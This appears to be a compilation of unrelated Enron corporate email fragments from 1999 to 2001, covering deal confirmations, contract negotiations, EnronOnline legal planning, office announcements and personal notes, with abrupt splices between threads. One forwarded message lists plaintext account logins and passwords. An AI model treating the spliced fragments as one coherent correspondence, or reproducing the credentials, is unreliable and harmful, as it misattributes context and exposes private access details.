sclarkson@tractebelpowerinc.com, lloyd.pope@bus.utexas.edu, 
Matthew.Lenhart@enron.com, michelelefever@yahoo.com, rmoser@emjmetals.com, 
Allison Damon <adamon@dttus.com>, Josh Sherman <jsherman@dttus.com>, Maria 
Vigil <mvigil@dttus.com>
cc:  

   I think we've all seen a different version of this.

______________________________ Forward Header 
Author:  scody@acplasticsinc.com at Internet-USA
Date:    4/26/2000 8:00 AM

E-mail me back and let me know what you scored.

 - CORRUPTI.EXE
---------------------------- Forwarded with Changes 
From: scody@acplasticsinc.com at Internet-USA
Date: 4/26/00 8:00AM -0500
*To: mjmyers@wt.net at Internet-USA
*To: matt_devine@standardandpoors.com at Internet-USA
*To: SABLICA@COMPUSERVE.COM at Internet-USA
*To: GATMAN@acplasticsinc.com at Internet-USA
*To: ashcrof@hs.utc.com at Internet-USA
*To: WALDRON50@YAHOO.COM at Internet-USA
*To: elvindarden@hotmail.com at Internet-USA
*To: deven.l.williams@us.arthurandersen.com at Internet-USA
-

Attached is a file with the CP's that are terminated per Kim's list and had been sent to IT to move to the bankruptcy book.  There are six CP's on this list.  I will send the legal names to Cecilia to get these moved today(with 7,000 lines, I am afraid it would take at least a day for risk to move manually).  We will then recheck the book tonight.  As you will see on the summary page, the total value of these deals is $(61.6M).  If there are any questions, please let me know, I will bring hard copies to the 11a.m. meeting.  Thanks.
PL
 
Joe,
Sorry for the big delay in all my responses.  I'm out on vacation Wed - Wed. 
and can't make the video call. Please don't hesitate to set up with 
Shankman.  In general he is very on board with a big effort in Asia and 
realizes my views on Asia and that we have issues in Singapore.  Japan will 
be a  real focus for Enron Global Markets.  He could use an update.
mike

Joseph P Hirl@ENRON
08/27/2000 05:49 PM
cc:  
Subject: Possible video conf this week

Mike,

Would it be possible to get yourself and Shankman on a video call sometime 
this week?  While we have given you an update a little over a month ago, 
quite a bit has happened since then.  This might also be a good intro for 
Shankman, particularly before we can you the both of you over this way.

Wed your time would be preferable... but we are flexible.

Joe

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

                                     C L I C K Z   T O D A Y

Wednesday, June 6 2001

The Internet's Leading Resource      http://www.clickz.com/
for Doing Business Online___________________________________

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-------------------------- T A B L E   O F   C O N T E N T S

<> Email Bloopers
             by Debbie Weil
http://clickz.com/article/cz.3996.html

<> Online Advertising: Bouncing Back
             by Jeffrey Graham
http://clickz.com/article/cz.3995.html

<> The Plot Thickens
             by Jeremy Lockhorn
http://clickz.com/article/cz.3992.html

<> Can Portals Resist the Dark Side?
             by Danny Sullivan
http://clickz.com/article/cz.3994.html

<> Don't Give Away the Store
             by Chris Yeh
http://clickz.com/article/cz.3993.html

------------------------------------------------------ T O C

_______________________B 2 B   E M A I L   M A R K E T I N G
______________________________________sponsored by Responsys

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Using email for prospecting and customer acquisition is
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_________ A D V E R T I S I N G   T E C H N O L O G Y
_______________________________j e r e m y   l o c k h o r n

The Plot Thickens

Storytelling is a sophisticated art form, practiced by many
and mastered by few. But do today's masters have the skills
to tell the story when it becomes nonlinear and
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different skill set. But that chapter has yet to be written.

_________S E A R C H   E N G I N E   O P T I M I Z A T I O N
_________________________________d a n n y   s u l l i v a n

Can Portals Resist the Dark Side?

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Don't Give Away the Store

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people to buy our products. It's to create value by
persuading people to pay a higher price for them -- and be
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This was the last marked up confirm sent from TVA.  We can make our redlined 
additions and email it on to them today.  Thanks for helping out on this.

-Joe
---------------------- Forwarded by Joseph Wagner/NA/Enron on 05/14/2001 
01:46 PM ---------------------------

"Porter, John A." <japorter@tva.gov> on 04/30/2001 01:10:17 PM
To: "'Joseph.Wagner@enron.com'" <Joseph.Wagner@enron.com>, 
"',Janice.R.Moore@enron.com'" <>, Janice.R.Moore@enron.com
cc:  

Subject: confirmation

 <<11310&11312FirmLDCall04-30-01Redlined.doc>>
Joe and Janice,
Please review the latest changes to the confirm TVA has made.
Thanks,
John

 - 11310&11312FirmLDCall04-30-01Redlined.doc

CORRECT:Enron Employees' Lawyer Based In D.C., Not Houston

  Eli Gottesdiener, an attorney representing plaintiffs in  a purported
employee class action lawsuit against Enron Corp., (ENE) is based in
Washington, D.C.   

  (An item at 12:55 p.m. EST incorrectly reported that Gottesdiener is
based in Houston.)

Published by: Dow Jones News Service
Date: 11/26/2001
Word Count: 37
Relevance Score on Scale of 100: 100
Folder Name: Enron Corp.

Full-text article available at
http://nrstg1p.djnr.com/cgi-bin/NewsRetrieval?cgi=WEB_ST_WC_STORY&DBNAME=DJNS&HDAN=DJ0133001369&Search=Enron%20Corp.%3A0000001529&QID=1529&QT=S&HDSC=DJ

Articles are included at no charge for flat-fee corporate customers. (Under standard pricing, charges apply.  For details, click the $ icon on the Dow Jones Interactive home page, located at http://www.djinteractive.com.)

Rick and Mark,

We have identified the next  20 non-US and non-European assets for regulatory 
risk review.  Please advise us if we missed any other important assets that 
come to your mind.  In addition, could you please confirm that we have 
designated the appropriate EGA professional for each asset? 

We would like to conclude this phase of review by  July 7th.

Thank you very much for your help.

Gia and John

The below is a list of Monday, November 19th deals in which the Confirmation was not sent by COB on November 20th (T/D + 1)

 Financial and Physical			
Total Deals	=	3921	
Total Deals Not Sent	=	11	
Fax Processing	=	0	
Fax Failure	=	3	
System Failure	=	3	
Percentage sent to C/P	=	99.72%	

External CP     	Deal No.   	Status       	Reason               	Book Admin	Confirm	Comm   	
DOUGEVA        	YJ7694.2  	Generated   	Unwind of previous deal	Vusal N.	Celeste C.	CL    	
SAMEDAN        	YK4520.1  	Generated   	Pending Verbal by Derek	Amy C.	Bianca O.	NG    	
PGEENETRAGAS   	YK9533.1  	New deal    	Review by Price Desk	Daniel T.	Bianca O.	NG    	
PGEENETRAGAS   	YK9533.2  	New deal    	Review by Price Desk	Daniel T.	Bianca O.	NG    	
DOUGEVA        	YK4137.1  	Pending     	Pending Verbal by Derek	Thunderball Bridge	Celeste C.	CL    	
SEMPRAENETRA   	YK6085.1  	Pending     	canadian Rebook	Chad B.	canada	NGGJ  	
BANKAMENAT     	YK6086.1  	Pending     	canadian Rebook	Chad B.	canada	NGGJ  	

To:          All Enron Houston Users
 
Subject:   New Dialing Instructions
 
Ref:   Tie Line Access Code Changes - Enron Building Phone System
 
Effective Saturday, August 18, the access code for remote locations will be modified within the Enron Building phone system to reflect a standard utilized by all Enron phone systems.  The modification will change the first digit dialed when accessing the tie lines by using the Alternative Routing feature from 7 to 8.  As all other Enron phone systems currently access the tie lines with the digit 8, the change from 7 to 8 will only affect users who reside in the Enron Building.  All other Enron phone system users should note that several digits of the tie lines to London, Calgary, and Portland have changed.
 
What This Change Means To You
 
Effective Saturday, August 18, you must replace the first digit 7 with an 8 when accessing the tie lines.  Additionally, several of the digits to the London, Calgary, and Portland tie lines have changed.  All other digits of existing access codes will remain the same.  For your reference, a list of the new dial strings for remote locations is identified at the bottom of this message.  Please Note:  This change also means that any Auto-Dial buttons you use to call associates at remote locations will now have to be re-programmed.  Such buttons may be programmed on conference room phones and FAX machines in your area.
 
To re-program an Auto-Dial button:
 
?         Press the Menu button on your soft keys
?         Press the Program button on your soft keys
?         Press the Auto-Dial button you wish to program
?         Dial the new Dial String (as identified below)
?         Press the # key
 
REVISED DIAL STRINGS FOR ENRON TIE LINE NETWORK
Users must dial 8 digits to call via Tie Lines
 
Enron Location	Old String	New String	
Beijing	7 810 XXXX	8 810 XXXX	
Buenos Aires	7 900 XXXX	8 900 XXXX	
Calgary	7 403 XXXX	8 283 XXXX	
Caracas	7 58 XXXXX	8 58 XXXXX	
Chicago	7 220 XXXX	8 220 XXXX	
Dahbol India	7 812 XXXX	8 812 XXXX	
Hinsdale	7 235 XXXX	8 235 XXXX	
London	7 830 XXXXX	8 44 XXXXX	
Monterey	7 152 2XXX	8 152 XXXX	
New York	7 212 XXXX	8 212 XXXX	
New York Metals	7 211 XXXX	8 211 XXXX	
Omaha	7 287 XXXX	8 287 XXXX	
Portland	7 834 XXXX	8 234 XXXX	
Rio De Janiero	7 920 XXXX	8 920 XXXX	
Sao Paulo	7 910 XXXX	8 910 XXXX	
Sydney	7 800 XXXX	8 800 XXXX	
Tokyo	7 860 XXXX	8 860 XXXX	
Toronto	7 285 XXXX	8 285 XXXX	
Washington DC (Future)	N/A	8 245 XXXX	

* X represents an extension number 

fyi. you can listen to hearing via-internet.  room 4202.  go 2 assembly website at 3 pm, or so. best,jeff

Thanks.

Vince J Kaminski@ECT
01/11/2000 08:01 AM
To: Richard Shapiro/HOU/EES@EES
cc:  

Rick,

I have just looked at the memo regarding promotions.
Congratulations - well deserved.

Vince

Maybe I'm wrong, but I don't think we've done that on the other two deals.  
Kathleen would know.

"Reuter, Marisa" <MReuter@KSLAW.com> on 06/05/2001 02:33:13 PM
cc:  

Subject: RE: ENA/Blue Dog: Incumbency Certificate

For the escrow.  Unfortunately, Citibank's form contained the following
language in the signature block: "In witness whereof, I have hereunto set my
hand and affixed the corporate seal of the Company this ______ day of May,
2001."

Sent: Tuesday, June 05, 2001 12:04 PM
To: Reuter, Marisa
Subject: Re: ENA/Blue Dog: Incumbency Certificate

Is this for the escrow or other docs?  I know Citibank does not require a
corporate seal.  What BS!

Kathleen is out sick, so it will be a day or two.

Kay

"Reuter, Marisa" <MReuter@KSLAW.com> on 06/05/2001 10:09:11 AM

To:   "'Kathleen.Carnahan@enron.com'" <Kathleen.Carnahan@enron.com>
cc:   "'kay.mann@enron.com'" <kay.mann@enron.com>, "Keffer, John"
      <JKeffer@KSLAW.com>

Subject:  ENA/Blue Dog: Incumbency Certificate

Kathleen:

Paul Hastings would like ENA to resign the Incumbency Certificate, since
the
original Certificate did not affix the corporate seal.  Could you
coordinate
this and make sure the seal is affixed to the new Certificate?  Thanks.

Regards,

Marisa

(See attached file: Reuter, Maria I. (Business E-Mail Address).vcf)

PLEASE NOTE: The following message may contain information about
gifts to be delivered from L.L.Bean. If you share this email
address with someone else--and have not recently placed an order
at L.L.Bean--please do not read on. We don't want to spoil a
surprise!

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start here GO ANYWHERE(tm)

Nailia and I are taking care of circulation of relevant material from Energy 
Council of Mon. and Tue. this week. She is also following the EU-Russia 
energy dialogue. 
Would either of you like to flip through the 135 page Competition Report and 
let others in the group know your conclusions (in less than one side A4!!)? 
By the way, you should meet each other, as soon as Brendan makes it to London 
or when Jan next comes to Brussels.

---------------------- Forwarded by Peter Styles/LON/ECT on 05/17/2001 05:09 

Nailia Dindarova
05/15/2001 03:17 PM
To: Peter Styles/LON/ECT@ECT
cc:  

Subject: Information on Energy Council

Please see the documents from Amaia including Council Conclusions plus 
Competition Policy Report.
---------------------- Forwarded by Nailia Dindarova/LON/ECT on 15/05/2001 
14:03 ---------------------------

Amaia BeteluBazo <Amaia.Betelu@citigatepa.com> on 15/05/2001 14:07:53
To: "Nailia Dindarova (E-mail)" <Nailia.Dindarova@enron.com>
cc: Thierry LeBeaux <Thierry.Lebeaux@citigatepa.com> 

Dear Nailia,

Please find attached the first conclusions of the Energy Council which took
place yesterday. You will note that the Council intends to take a position
on the proposals for the opening of the energy internal market by the
Barcelone Council in spring 2002. We will contact several permanent
representations and the Presidency of the Council to ask about Member
States' positions on this issue.

Attached you will also find the agenda for the EU-Russia summit on 17 May.

I also include the 30th Annual Report on Competition Policy which deals with
the competition policy in general and by sectors, issued today by the
Commission. The report states that competition in the energy markets will be
introduced if the following  conditions are met:
* suppliers are free to compete for customers;
* customers are free to change suppliers;
* an effective, non-discriminatory and cost reflective TPA regime is
introduced and maintained.
The report also deals with the proposal for a new Regulation dealing with
articles 81 and 82 of the Treaty, setting out the competition rules
applicable to restrictive agreements, decisions and concerted practices, and
abuses of dominant positions.

Would you require further information, please do not hesitate to contact us.
Regards,

Amaia

 <<MEMO- EU-Russia 15.05.01.doc>>  <<MEMO- Results of the energy Council
14.05.01.doc>>  <<XXX Report on competition policy.pdf>>

 - MEMO- EU-Russia 15.05.01.doc
 - MEMO- Results of the energy Council 14.05.01.doc
 - XXX Report on competition policy.pdf

From: 	Tomaski, Richard  
Sent:	Tuesday, June 05, 2001 1:44 PM
To:	Luce, Laura
Subject:	FW: Enron Monthly Fundamentals Report

Judy forwarded an "Enron Market Outlook" to PGL MGMT from Freddy-boy.  Is she trying to make us look bad?  Why is Fred going after this business?

From: 	t.hermann@pecorp.com@ENRON [mailto:IMCEANOTES-t+2Ehermann+40pecorp+2Ecom+40ENRON@ENRON.com] 
Sent:	Tuesday, June 05, 2001 12:18 PM
To:	s.richman@pecorp.com; r.rodriguez@pecorp.com; k.classen@pecorp.com; t.compton@pecorp.com; d.fuentes@pecorp.com; Penman, Gregg; Tomaski, Richard

> ----------
> From: 	Pokorny, Judy
> Sent: 	Tuesday, June 05, 2001 9:10 AM
> To: 	'Tom Nardi'; 'Steve Nance'; O'Connell, Kevin; Morrow, William;
> Patrick, Thomas M.; Pappalardo, Joyce M.; Hermann, Timothy; DeLara,
> Raulando; Wear, Dave; 'Steve Sweem'; 'Wayne Bollinger'; Chiti, James D.;
> Andrejasich, Frank
> Cc: 	Marozas, Brian; Lapson, Robert; Zagorski, Donna M.
> Subject: 	FW: Enron Monthly Fundamentals Report
>
> FYI, enclosed is a presentation from Enron on natural gas and oil
> fundamentals.
>
> From:
> Enron.Monthly.Fundamental.Report@enron.com[SMTP:Enron.Monthly.Fundamental.
> Report@enron.com]
> Sent: 	Monday, June 04, 2001 2:14 PM
> To: 	Monthly.Fundamental.Report@enron.com
> Subject: 	Enron Monthly Fundamentals Report
>
>  <<601enronrpt.pdf>>
> (See attached file: 601enronrpt.pdf)
>
>

The information transmitted is intended only for the person
or entity to which it is addressed and may contain confidential
and/or privileged material.  Any review, retransmission,
dissemination or other use of, or taking of any action in reliance
upon, this information by persons or entities other than the
intended recipient is prohibited. If you received this in error,
please contact the sender and delete the material from any computer.

 - 601enronrpt.pdf 

Gerald,

I am attaching AEC's form of guaranty used for AMUS / ASHSI / WGSI as
promised.

To clarify the entities and contracts we were referring to today, I offer
the following background information

AEC Marketing [in Canada] and AEC Marketing (USA) Inc. [in the U.S.] market
all the North American production for the corporation.  We also purchase and
sell gas as part of our mitigation strategy.

AEC Storage and Hub Services a business unit of Alberta Energy Company Ltd.
[in Canada] and AEC Storage and Hub Services Inc. [throughout the U.S.] and
Wild Goose Storage Inc., in California (governed by the CPUC), purchase and
sell gas to optimize their storage positions.  They are not concerned with
produced gas at all.

None of us are mandated to do financial deals / swaps under anything other
than an ISDA agreement, all of which are in the name of Alberta Energy
Company Ltd.

Our credit is handled at the corporate level.

Regarding Contract Issues:

Each of AEC Marketing and AEC Storage and Hub Services a business unit of
Alberta Energy Company Ltd. have a Master Firm Gas Purchase/Sale Agreement
in place with Enron Capital & Trade Resources Canada Corp., now Enron Canada
Corp.  The AEC Marketing agreement is dated March 5, 1997.

* we want to replace these agreements based on the terms agreed to in
our current discussions with you
* these are the contracts that we have requested be issued in draft
format so that we can see the differences between the Enron Canada and Enron
NA forms, and that hopefully Russell will advise the Canadian office to
issue come Monday
* these agreements are very close in content to your previous ENFOLIO

AEC Marketing (USA) Inc. has an ENFOLIO MASTER FIRM PURCHASE/SALE AGREEMENT
in place with Enron Capital & Trade Resources Corp., now Enron North America
Corp., also dated March 5, 1997.

We need to put an ENFOLIO in place between Enron North America Corp. and
each of AEC Storage and Hub Services Inc. and Wild Goose Storage Inc.  As
Daniela advised during the conference call, Debra Perlingiere had forwarded
the draft ENFOLIO's some time ago.

* all three U.S. agreements will be based on the language we negotiate
and agree upon in our current discussions, with obvious differences due to
our business requirements
* as advised by Daniela, there are or have been deals under at least
one of the entities that she handles, so the definitions of Confirmation
Notice and Transaction Agreement will have to be worded so that those deals
are pulled under the ENFOLIO.
* for AMUS, we can agree to move all the deals from the March 5/97
ENFOLIO under the new ENFOLIO by way of an Amending Letter

I hope this helps clarify our situation somewhat.  I will be in touch again
on Monday with regard to the follow up call on the outstanding issues.  If
you do get any answers on your end please forward the information so that we
can discuss on our end prior to that call.

Thanks so much.  Hope you have a good weekend.

Ann

 <<marketing guarantee ksm feb.01.doc>>

 - marketing guarantee ksm feb.01.doc

Gerald - 
Chris would like to submit a Letter of Interest as well as a Letter of Intent to NICOR later today.  Can you please review the attached Letter of Interest and provide any comments.  
 
Thanks, Lisa Druzbik
3-9620

From: 	Hilgert, Chris  
Sent:	Thursday, November 08, 2001 2:15 PM
To:	Higgins, Ned; Druzbik, Lisa; Hinze, Ryan; Freeman, Ben
Subject:	Nicor Documents

Folks,

Good work on the documents that you've pulled together to get to Nicor and to Shell Capital.  I have added the Letter of Interest along with slightly modified versions of the others attached.  Review, make any minor changes, and let's get these out to Shell Capital (Risks & Mitigants, Schedule) and Nicor (Letter of Interest, Letter of Intent, and Schedule) today.  I would have Gerald take a look at the Letter of Interest prior to sending it to make sure that I didn't mis-represent anything.  Sorry about the hold up on my end from being on the road.

Thanks,
Chris Hilgert
Enron Compression Services
Work: 713-853-7350
Cell:   713-857-2479
www.enron.com/compression

As a continuation of the integration of Enron Metals into Enron Europe we are 
pleased to announce the following organisational changes which become 
effective immediately.

Tom McKeever, presently Chairman of Enron Metals will move into the role of 
Vice Chairman Enron Europe reporting directly to John Sherriff and Michael 
Brown.  Tom will focus on developing our key senior business relationships 
across all of Enron Europe.

Joe Gold will become President of Enron Metals responsible for the entire 
organization.  We will announce Joe's replacement for managing our trading 
and origination efforts on the Continent in the near future.

Michael Farmer and Michael Hutchinson will continue in their roles managing 
the Metals's Merchanting and Financial Trading businesses respectively.

Please join us in congratulating Tom and Joe on their new roles.

From the Enron Europe Office of the Chairman

Hi Virginia:

I discussed w/ Kate regarding two pma items in STWHOURLY desk in the lastest desk analysis from Mark Confer.  Please let me know if I should direct these questions directly to Houston Settlements, or I'll stop by later to see if you have a minute on these issues.

1. Deal#664447.1
In the desk analysis it's showing a -$1575 due to HE7 zeroed out in July after deal liquidated on 6/27/01.
Question:  we should have an offsetting +$1530 due to upstream deal#664444.1 HE7 zeroed out in July after deal liquidated on 6/27/01, but this credit side didn't show up in the desk analysis.

2. Deal#662547.1
In the desk analysis it's showing -$1265 due to HE12 volume changed from 46MW to 23MW in July for flow date of 6/26/01.  
Question: we should have an offsetting +$1150 due to upstream deal#662543 HE12 volume changed in July after deal liquidated on 6/27/01, but this credit didn't show up in the desk analysis.

Kate and Bill:
Regaring Deal#630335.1 and it's associated deals, I believe this is what should have happened:
a. You should get back +$315 as annuity (buy) #630335.1 price was changed fm $315 to $0 in July for flow date of 6/2/01 
b. You should get a -$315 hit for transmission (buy) demand charge #648312.1 entered on 6/14/01 for flow date of 6/2/01
c. You should get back +$360 (=$675-$315) as annuity (sale) #630336.1 was entered with $315 price on 6/2/01 for 6/2/01 (this part should always been captured when the deal liquidated on 6/2) and the annuity price was later changed to $675 on 6/14/01
=> As you know Settlements already captured the +$315 in (a).  I believe Settlements didn't capture (b) and (c) because the deals were entered after the deals liquidated in the same month.  Risk can do a manual adjustment for you on this $45 credit (net of $360 and -$315) right away and then we'll take $315 in (a) as pma this month-end since we didn't take it on 8/31/01.

Thanks,
Fran
x7973  

here you go,

tell me what you think.

i spent a lot of time on this

When: Wednesday, May 16, 2001 3:30 PM-4:30 PM (GMT-06:00) Central Time (US & 
Canada).
Where: TBD

----- Forwarded by Mark Taylor/HOU/ECT on 01/03/2001 05:59 PM -----

	Rex Shelby@ENRON COMMUNICATIONS
	01/02/2001 04:13 PM
		 
		 cc: Mark S Palmer/Enron Communications@Enron Communications
		 Subject: Oracle NDA

Hi Mark --

Attached is Oracle's standard NDA.  We can work with it if you like it or use 
our own.

The Oracle folks are dropping by Enron here in Houston on Friday of this week 
(the 5th).  If we are able to put an NDA in place by then, we will go into 
more detail with Oracle at the meeting.  If we do not have a new NDA in 
place, we will keep the meeting high level.  Thanks for your help.  Best 
regards.

-- Rex

----- Forwarded by Rex Shelby/Enron Communications on 01/02/01 04:08 PM -----

	michael.boese@oracle.com
	01/02/01 04:02 PM
		 
		 To: Rex Shelby/Enron Communications@Enron Communications, 
FRANK.ANDERSON@oracle.com
		 cc: 

 - M&ACDAwithterm1.doc
 - michael.boese.vcf

Subject: King Ranch Gas Plant- 12/2000 Election

HPL has elected to be kept whole with respect to processing during the month 
of December 2000 on its gas delivered from the Three Rivers Gathering 
System.  There should be no reduction for shrinkage and fuel at the plant for 
December 2000.

HPL will be kept whole with respect to ethane recoveries from the Big Cowboy 
gas being processed at the King Ranch Gas Plant during the month of December 
2000.  This election will reduce the shrinkage percentage from 20% of the 
inlet MMBtu's to 15% of the inlet MMBtu's.

If you have any questions please give me a call.

Thanks!

Blanca

hours are 7-630, program runs 9-4.

Maybe we should try church there.

I found the receipts.  We should have taken the forms with us to the auction 
to save time.  Oh well, live and learn.

Pork chops and spinach?

ckm

From:  </O=ENRON/OU=NA/CN=RECIPIENTS/CN=JDERRIC>
To: "Paul Pien" <ppien@elawforum.com>@ENRON <IMCEANOTES-+22Paul+20Pien+22+20+3Cppien+40elawforum+2Ecom+3E+40ENRON@ENRON.com>
CC: John Henry (E-mail) <jhenry@elawforum.com>, Steve Wyatt (E-mail) <sbwoil@aol.com>
Date: Tuesday, May 22, 2001 8:13:36 GMT
Subject: 

Thank you for the message.  Please note for your records, however, that
neither I nor Enron has accepted the eLawForum User Agreement and that
we have not authorized any individual or entity to accept it on our
behalf. Jim Derrick 

> From: 	"Paul Pien" <ppien@elawforum.com>@ENRON
> [mailto:IMCEANOTES-+22Paul+20Pien+22+20+3Cppien+40elawforum+2Ecom+3E+4
> 0ENRON@ENRON.com] 
> Sent:	Monday, May 21, 2001 5:04 PM
> To:	Derrick Jr., James
> Cc:	John Henry (E-mail); Steve Wyatt (E-mail)
> Subject:	Registration of Enron Corp. on the eLawForum Web Site
> 
> James,
> 
> Per Steve Wyatt's suggestion, I have taken the liberty of registering
> Enron
> Corporation on the eLawForum web site.  In the course of completing
> the
> registration, I accepted the eLawForum User Agreement on behalf of
> Enron.
> Please let me know if you have any questions about the User Agreement.
> We
> would be happy to address any concerns.
> 
> I have created the 2 roles for you that are required to use our site.
> The
> first role is as "Client Administrator."  This role allows you to
> manage the
> site, primarily by adding and deleting users and assigning them
> appropriate
> roles.  Your login name and password for your roles as Client
> Administrator
> are: Login - "jderrick" and Password - "enron".  Please note that both
> your
> login and passwords are case sensitive.
> 
> I have also created for you the second role of "RFP Administrator."
> In this
> role, you can create a new RFP and/or manage existing RFPs.  You are
> required to have a second Login name and Password for this second
> role.  I
> have assigned you the Login in of "jamesderrick" and Password of
> "enroncorp"
> in your role as RFP Administrator.  Once again, the login name and
> password
> are case sensitive.
> 
> To logon and begin using the web site, go to www.elawforum.com.  Click
> on
> "logon" and sign on in your role as RFP Administrator.  Let me know if
> you
> would like a quick walk through the site.  In addition, please contact
> me
> when you are ready to post your first RFP.  Our service includes
> providing
> Enron hands on assistance every step of the way.
> 
> 
> 
> Paul Pien
> Vice President
> eLawForum
> 1250 24th Street, NW, Suite 350
> Washington, DC  20037
> Work: 202-466-0520
> Fax: 202-466-0583
> ppien@elawforum.com
> www.elawforum.com
> 

Tana if Australian Counterparties(by that I mean entities that are 
incorporated under Australian legislation) request access to EnronOnline then 
pass them through to me. However I would have already vetted any new 
counterparties coming from Australia. What I would prefer is a brief email so 
I can check the name is correct and if they are a government body their 
authority to trade products not linked to their business purpose. 

Who will determine whether the password agreements are executed properly? To 
me that is a far more significant issue. For example what if the password 
agreement is signed by a junior trader?  Has this been considered?     

Clearly I will aim to respond wthin 24 hours but clearly Friday will not work 
because it is our Saturday.    

Subject: Counterparty Approvals

You have been getting the excel spreadsheets on new counterparties now for 
several days, and at an agreed time I would like to include your approvals in 
with the rest of Legal's.  Right now I am still telling the EnronOnline 
people that they have to look to Australia for approvals.  Once we are in 
agreement about the parameters of my responses, and who your backup is, we 
can agree on a date when I will start responding for Australia too.  The 
theory will be that once I send you the email you will have 24 hours to 
respond or I will consider all the online products approved for Ausralian 
counterparties.  Because of the time change issue, I think we need to make 
the time my approval will go out 4:00 p.m. the next day (which will be your 
morning) from the transmittal of the list.

09/06/99 14:26
To: Louise Kitchen/LON/ECT@ECT, Janine Juggins/LON/ECT@ECT, Justin 
Boyd/LON/ECT@ECT, Mark - ECT Legal Taylor/HOU/ECT@ECT, Marcello 
Romano/LON/ECT@ECT, David Port/LON/ECT@ECT, Jay Webb/HOU/ECT@ECT
cc:  
Subject: Legal Meeting - 8 June 1999

Dear all,

these are the issues from the last legal meeting that need further attention:

1). European Jurisdictions Peculiarities 
Slovenia, Cpoatia, Romania must be added to Phase 1 reviews. Products that  
considered are gas and power both physical and financial. 15 Jurisdictions 
reviews are already received. So far they do not reveal any fundamental 
problems with the overall structure. There are few recommendations on the 
wording of PAA, ETA and GTC to come. CC (Tim Hueges) is summarising all the 
replies and will forward a list of problematic issues for each jurisdictions 
by Monday (14th) lunch time. 

Possible complications are:

 All documents for French and Spanish customers may need translation into 
French and Spanish, as part of these  jurisdictions requirements.

 Sweden and Italy have particularly strict regulations on checking  validity 
of signatures => it may need to be reflected in the business processes.

It was suggested to have PAA on the screen as well, so that potential 
customers may print them out, fill in and mail to Enron. YES - only in the 
garden and we will need clear instrucutions on how to register there also 

2). Read Only Access for some customers
instead of ETA read only customers have to click on Read Only Agreement, 
therefor it has to be drafted ASAP. DRAFTING REQUIRED. THIS IS ALSO A SYSTEM 
REQUIREMENT FOR READ ONLY.

3). Product Descriptions
A decision was made that they will be reviewed by internal legal team (Justin 
Boyd, Mark Taylor) but not CC or S&C. OK

4). Timetable 
GTCs in English should be finalised by the end of June.  First two weeks of 
July CC will spend validating marketing data.  Project timetable was promised 
to CC to be e-mailed yesterday.  OK, but timings will vary on the basis of 
what timetable says.

5). Translation
Translation of GTCs, ETA and PPA will be done internally . The first priority 
languages most likely will be French, German and Spanish. 
Actions:

Translations of those GTCs that we already have must be started ASAP (Justin 
Boyd to co-ordinate). 

Identify languages to  translate into (Elena Kapralova to co-ordinate with 
Justin and traders)

6). Taxes
Questionnaires similar to the one that was sent to European jurisdictions 
must be sent to Canada (Janine Juggins to co-ordinate).

7). Web Page Wording
The words "I accept" and "Delete" in the box that appears after a customer 
clicked on price, are to be changed into "Submit" and "Clear". Lawyers are 
comfortable with this.

8). Different Entities on Counterparty Side
If there are a few different entities trading for the same company,  for ex. 
Morgan Stanley International (MSI) and Morgan Stanley (MS), they should be 
treated in the system as two separate clients and be granted two separate 
System Administrator passwords. This is necessary for tax considerations. It 
is confirmed once again that there will be one ETA acceptance click per 
System Administrator.

9). Authorisation Risk 
Because Online Trading will be Enron's software, all problems arising from 
authorisation errors, for ex.  when customer that was supposedly authorised 
to trade only UK Gas was able to trade power, will be entirely Enron's 
liability => it highlights again an importance of very thorough testing of 
authorisation functionality of the system in July and August.NO this would 
only be the case if we reverted to asking them what they wanted to trade and 
we are not going to do that from a systems process point of view - DAVID _ 
ISSUE

10). Written and Electronic Confirmations
It appears to be a difference between UK and US practices in treating 
superiority of written vs. electronic confirmations. According to the UK law, 
an electronic confirmation will overwrite a paper one, generated and mailed 
by the Back Office, similar to the current practice for transactions done 
over the telephone, when phone conversation overwrites all paper 
conformations. In the US the situation is opposite. For the deals done over 
the phone, written confirmations still take priority over the phone 
conversation tape. In Texas anything that is not in writing, is not 
enforceable.  

The situation with priority of confirmations of Online trades in US must be 
investigated further (Mark Taylor to co-ordinate). The result should be 
reflected in US version of  ETA. YES

This leads to a further question, whether sending written confirmations in UK 
is still necessary?YES

11). UN E-Commerce Directive
There is a daft of UN Directive on e-commerce, which currently has very 
strict rules regarding time when transaction is considered complete. It 
requires mutual exchange of written confirmations etc. Enron might be in 
position to lobby few items in this Directive (Justin and Regulatory Dept.) 
What th eEU piece asks for is mutual confirmations by clicking - two further 
stages than we have in our system.  WE need to build a system which can 
incorporate these changes at some point in the furture but not now.

12). Suspending Trades by Counterparty
A few traders are very keen on being able to suspend trades by counterparty, 
for instance in a situation when they see a counterparty making a number of 
deals in the same commodity. It arises two issues:
IT -  the system should be able to put a name of the counterparty on the 
transaction summary page (bottom of the price page) YES 

Legal - CC has to investigate and give a view whether it is permitted by law. 
NO PROBLEM - BUILD SYSTEM NOW TO DO THIS.

Price Check Idea 
Just a thought, whether  it is technically possible to amend a price check 
(the one done when the customer submitted a price, and database does credit, 
GTC and price check) in a way that customer is notified about the price 
change not for all changes but only when the price has moved against Enron, 
i.e. if price moved in Enron's  favour transaction should go forward at the 
price customer had agreed to earlier. Legally it is OK. Jay, can the system 
do it? YES

Internal Issues still to be addressed:

1). Global Liquids Books management, i.e. how responsibilities for price 
update will be managed  between London and Houston desks.DAVID
2). FX conversion including IT, business processes, tax, risk managment 
issues (David Port, Janine Juggins, Jay Webb)DAVID

All comments are welcome,
Regards,
Elena

I think I have sent this to you, please give me an update.
 
From: Sonnonstine, Max 
Sent: Thursday, October 04, 2001 11:23 AM
To: Perlingiere, Debra; Dickson, Stacy E.; Nemec, Gerald
Subject: FW: GISB

    Enclosed is a draft of a GISB for Utility Resource Solutions, LP.  They have done some small physical volumes secured by a pre-pay, but are interested in establishing a more developed relationship.  As such, they want to enter into a GISB with Enron.  This is their copy forwarded through Jay Reitmeyer.  Please review and advise what needs to be done, if anything, to get this executed.  
 
Thanks,
 
Max Sonnonstine
x5-8261
 
Hughes
Fallon
Kitchen
Lavorato
Delainey
Dietrich
Causey
McMahon
Bowen
McConnell
Shankman
Sherriff
Brown
Piper
Garland
Whalley

517814 - added .0075 fee per Chris Mallory

535228 - I'm waiting for Tom's desk to settle down a bit - they're in the 
middle of trading. 

Any idea why APB's just checking these deals out now? They're from the 
beginning of February. Just wondering.

Thanks,
Kate

03/26/2001 01:08 PM
cc:  

Subject: apb fees

kate can you check on these 2 deals

517814 broker has fee of .0075

535228 broker has fee of .0075

thanks

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Would it work if we picked you up in the USVI?  I know it's possible to fly 
